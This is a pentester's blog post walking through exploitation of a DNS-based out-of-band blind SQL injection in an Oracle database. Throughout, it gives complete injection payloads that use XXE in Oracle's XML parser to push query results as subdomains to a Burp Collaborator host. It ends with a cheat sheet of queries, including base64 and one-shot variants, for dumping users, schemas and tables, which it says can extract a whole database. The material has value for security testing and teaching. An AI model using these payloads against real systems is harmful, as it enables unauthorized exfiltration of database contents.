DNS Based Out of Band Blind SQL injection in Oracle — Dumping data

9 min readApr 27, 2021

A few days back, while pentesting a website, I found an Out of Band SQL Injection vulnerability on an endpoint. In this type of Injection, we can dump data only using Out of Band techniques via DNS or HTTP Requests (if allowed). Dumping data via Out of Band techniques is not an easy task especially when it comes to Oracle db because there aren’t many cheat sheets and related material out there on the internet.

In my case, Burp found DNS based Out of Band SQLi, which means I could only dump data using DNS queries issued by the backend Oracle Database. That is how it looked like:

The following payload was used by Burp scanner to detect SQLi

http://website.com/somesearch-endpoint?q=%2c%20(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % taeyj SYSTEM "http://adfdlongrandomburpcollabstringjflf.burpcollab'||'orator.net/">%taeyj;]>'),'/l') from dual)

Before beginning, it is necessary to verify if the identified SQLi is a false positive or a legit vulnerability. Sometimes web apps and middleware automatically try to resolve the link sent in parameters, which generates a DNS request to our Collaborator and Burp may confuse it with SQL Injection. So to confirm, try only sending the Burp Collaborator link in the parameter e.g,

search?q=http://longrandomburpstring.burpcollaborator.net

If the collaborator still receives a DNS request then that means its a false positive. Another thing that eliminates the suspicion is that in our payload the collaborator link is separated by ‘||’ which means backend Oracle db is concatenating the link together and then issuing a request meaning a legit SQL Injection.

Determining the backend database

Looking at the above mentioned payload, you can identify that the backend database server is Oracle. How? because only Oracle uses ‘||’ and ‘from dual’ together in a statement.

There are many other ways to fingerprint the backend database (even if the website isn’t vulnerable to SQL Injection), you can find some techniques here https://sqlwiki.netspi.com/dbmsIdentification/#oracle or in PayloadAlltheThings github repo etc.

In this case, it used XXE in Oracle’s XML parser to trigger DNS requests.

Dumping Data???

After detecting and verifying SQL Injection, the next step is to try to dump data for POCs or whatever purpose. So I googled it and found some helpful cheat sheets and links.

https://portswigger.net/web-security/sql-injection/cheat-sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
https://zenodo.org/record/3556347/files/A%20Study%20of%20Out-of-Band%20SQL%20Injection.pdf?download=1

So I tried to modify the payload to extract database version via Burp Collaborator. I put a dot ‘.’ before collaborator link and used ‘||’ to concat it with my query.

Query: select banner from v$version;

http://website.com/somesearch-endpoint?q=%2c%20(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % taeyj SYSTEM "http://'||(select banner from v$version)||'.adfdlongrandomburpcollabstringjflf.burpcollab'||'orator.net/">%taeyj;]>'),'/l') from dual)

[URL Encoded the query before sending]

But I received nothing on my Burp collaborator, modified the query several times, tried other queries but got nothing. So I decided to try these queries on live version of Oracle database (https://livesql.oracle.com/)first. So I opened it and ran the version query again

After looking at the output, I realized my silly mistake that database version contained spaces, and spaces are forbidden in DNS Names.

Things to Keep in Mind while Exploiting DNS based Out of Band SQL Injections

You’re dumping data via DNS queries, and spaces/newline/special characters aren’t allowed in Domains Names. Domain and Subdomain Names can only consist of letters, numbers and hyphens ‘-’. Use functions such as REPLACE() to filter the output. (Sometimes multiple dots ‘.’ are disabled as well, so make sure to replace them as well). You can also use HEX and Base64 encoding filters like UTL_RAW.CAST_TO_VARCHAR2(), utl_encode.base64_encode(), utl_raw.cast_to_raw(). (Ref https://dba.stackexchange.com/questions/128905/what-is-a-base64-raw-how-do-i-use-it)
A full domain name can have 253 character, with each label having maximum length of 63 characters. That means there are only 63 characters allowed in a subdomain name but it is recommended to use up to 30–40 characters to dump data at a time. Use SUBSTR() to limit the output.
Most probably you’ll have to generate new Burp Collaborator link every time you send a request to the server. Why? because servers might cache domain names, so they won’t issue a DNS request every time for the same Domain Name.
Backend code might be sanitizing some characters in your query, so make sure to try simple queries first then move on to the complex ones. While exploiting this SQLi, I never got this query to work “select banner from v$version”, or any query that contained the dollar sign “$”. Tried different encodings but none of them worked, Reason? They might be sanitizing or encoding some special characters!! Might be some other reason, don’t know.

Dumping Data

Then I modified my payload a little to retrieve current user and sent it again.

(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % cggnv SYSTEM "http://'||(SELECT replace(replace(username, " ","-"),"$","-") FROM all_users where rownum=1)||'.sealongrandomcollabstringai.burpcollab'||'orator.net/">%cggnv;]>'),'/l') from dual)

Payload:

(SELECT replace(replace(username, " ","-"),"$","-") FROM all_users where rownum=1)

got the first username in the database ‘SYS’ in burp collaborator.

The query was

(SELECT replace(replace(username, " ","-"),"$","-") FROM all_users where rownum=1)

Or more simply put

(SELECT username FROM all_users where rownum=1)

To extract the second user in the database, I used “where rownum=2” but that didn’t work and I received nothing in my Burp Collaborator. Why? the answer is here https://stackoverflow.com/questions/9679051/why-operator-doesnt-work-with-rownum-other-than-for-value-1/9679099. In short, to retrieve the second row in oracle database, you can’t use “rownum=2". Instead, you have to use something like

(SELECT username FROM (SELECT username, rownum as rn FROM all_users order by username asc) where rn=2)

and by using this query I received the second username in database

Dumping Database (Schema) List

To dump list of available databases, I used the following queries

(select owner from (select owner, rownum as rn from (select DISTINCT owner from all_tables order by owner asc)) where rn=1)(select owner from (select owner, rownum as rn from (select DISTINCT owner from all_tables order by owner asc)) where rn=2)

and got these Database Names in my Burp Collaborator

AD
PROJECTS
AV

Dumping Tables List

Similarly, you can dump table list (one by one) using the following queries

(select table_name from (select table_name,rownum as rn from all_tables order by table_name asc)rn where rn=1)

and the table names were

DUAL
USER_PRIVILEGE_MAP
… and so on

Some table names had spaces and “$” signs, so I had to use the following query.

(select replace(replace((table_name),' ','-'),'$','-') from (select table_name,rownum as rn from all_tables order by table_name asc)rn where rn=1)

Dump In One Shot (DIOS)

Extracting one data element at a time can be very slow and tedious, esp when you have to regenerate Burp Collaborator link each time. You can probably automate this stuff using Python or SQLmap, but I have done it manually in this article.

In DNS based OOB Injection, you can extract only one single data element at a time. So if we find a way to convert multiple rows into a string, and extract that string via DNS request, this’d make our task much easier. Depending upon various database versions, Oracle offers some functions like listagg(), stragg() & wl_concat() that do the trick, but they vary from version to version. I tried to combine the output using these functions but got nothing in response, probably the version didn’t support these functions. So had to do it manually with the help of some Stackoverflow Answers.

One of these answers provides a query to convert rows into columns without using functions like listagg() etc. With a little modification, we can use this query to convert rows into a string, and then dump that string via Subdomain Name.

select ltrim(sys_connect_by_path(username, '-'),'-')as st FROM (SELECT username, ROW_NUMBER () OVER (ORDER BY username) rn, COUNT (*) OVER () cnt FROM all_users) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

Limiting the output by putting “where rn<= 10”

select ltrim(sys_connect_by_path(username, '-'),'-')as st FROM (SELECT username, ROW_NUMBER () OVER (ORDER BY username) rn, COUNT (*) OVER () cnt FROM all_users where rownum<= 10) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

The output contains bad characters such as underscores (-) and dollar signs ($), filtering them with REPLACE() command, and limiting the output to 40 characters

select substr(replace(replace(ltrim(sys_connect_by_path(username, '-'),'-'),'_','-'),'$','-'),2,40)as st FROM (SELECT username, ROW_NUMBER () OVER (ORDER BY username) rn, COUNT (*) OVER () cnt FROM all_users where rownum<=40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

You can now dump this data via DNS query.

Via Base64 Encoding

You can also HEX/Base64 encode your data, this way bad characters will also get encoded so you won’t have to filter them one by one. You do need to filter out equal signs though “=”

select replace(UTL_RAW.CAST_TO_VARCHAR2(utl_encode.base64_encode (utl_raw.cast_to_raw(substr(ltrim(sys_connect_by_path(username, '-'),'-'),2,40)))),'=','-')as st FROM (SELECT username, ROW_NUMBER () OVER (ORDER BY username) rn, COUNT (*) OVER () cnt FROM all_users where rownum<= 40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

You can decode this data in Burp decoder.

Cheat Sheet

Simple query to dump first user

select username FROM all_users where rownum=1//Replacing bad chars
select replace(replace(replace(username," ","-"),"$","-"),"_", "-") FROM all_users where rownum=1

Dumping usernames, change “rn=1" to dump other users

(SELECT replace(replace(replace(username, " ","-"),"$","-"),"_", "-") FROM (SELECT username, rownum as rn FROM all_users order by username asc) where rn=1)

Dumping Databases list

(select replace(replace(replace(owner," ","-"),"$","-"),"_","-") from (select owner, rownum as rn from (select DISTINCT owner from all_tables order by owner asc)) where rn=1)

Dumping Tables list

(select replace(replace(replace(table_name," ","-"),"$","-"),"_", "-") from (select table_name,rownum as rn from all_tables order by table_name asc)rn where rn=1)

DIOS

Dump usernames: (2 is the offset and 40 is the character limit)

select substr(replace(replace(replace(ltrim(sys_connect_by_path(username, '-'),'-'),'_','-'),'$','-'),' ','-'),2,40)as st FROM (SELECT username, ROW_NUMBER () OVER (ORDER BY username) rn, COUNT (*) OVER () cnt FROM all_users where rownum<= 40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

Dump databases:

select substr(replace(replace(replace(ltrim(sys_connect_by_path(owner, '-'),'-'),'_','-'),'$','-'),' ','-'),2,40)as st FROM (SELECT owner, ROW_NUMBER () OVER (ORDER BY owner) rn, COUNT (*) OVER () cnt FROM all_tables where rownum<= 40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

Dump tables:

select substr(replace(replace(replace(ltrim(sys_connect_by_path(table_name, '-'),'-'),'_','-'),'$','-'),' ','-'),2,40)as st FROM (SELECT table_name, ROW_NUMBER () OVER (ORDER BY table_name) rn, COUNT (*) OVER () cnt FROM all_tables where rownum<= 40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

Via Base64

Dump usernames, replace hyphens (-) with (=,/,+)

select replace(replace(replace(UTL_RAW.CAST_TO_VARCHAR2(utl_encode.base64_encode(utl_raw.cast_to_raw(substr(ltrim(sys_connect_by_path(username,'-'),'-'),2,40)))),'=','-'),' ','-'),'/','-')as st FROM (SELECT username, ROW_NUMBER () OVER (ORDER BY username) rn, COUNT (*) OVER () cnt FROM all_users where rownum<= 40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

Dump databases,

select replace(replace(replace(UTL_RAW.CAST_TO_VARCHAR2(utl_encode.base64_encode(utl_raw.cast_to_raw(substr(ltrim(sys_connect_by_path(owner,'-'),'-'),2,40)))),'=','-'),' ','-'),'/','-')as st FROM (SELECT owner, ROW_NUMBER () OVER (ORDER BY owner) rn, COUNT (*) OVER () cnt FROM all_tables where rownum<= 40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

Dump tables,

select replace(replace(replace(UTL_RAW.CAST_TO_VARCHAR2(utl_encode.base64_encode(utl_raw.cast_to_raw(substr(ltrim(sys_connect_by_path(table_name, '-'),'-'),2,40)))),'=','-'),' ','-'),'/','-')as st FROM (SELECT table_name, ROW_NUMBER () OVER (ORDER BY table_name) rn, COUNT (*) OVER () cnt FROM all_tables where rownum<= 40) WHERE rn = cnt START WITH rn = 1 CONNECT BY rn = PRIOR rn+1;

Above mentioned queries will most probably work on all Oracle db versions, and you can use them to dump the whole database.

So anyway, thanks for reading and coming this far. Do share your suggestions, corrections or comments via a reply to this post. Thank you :)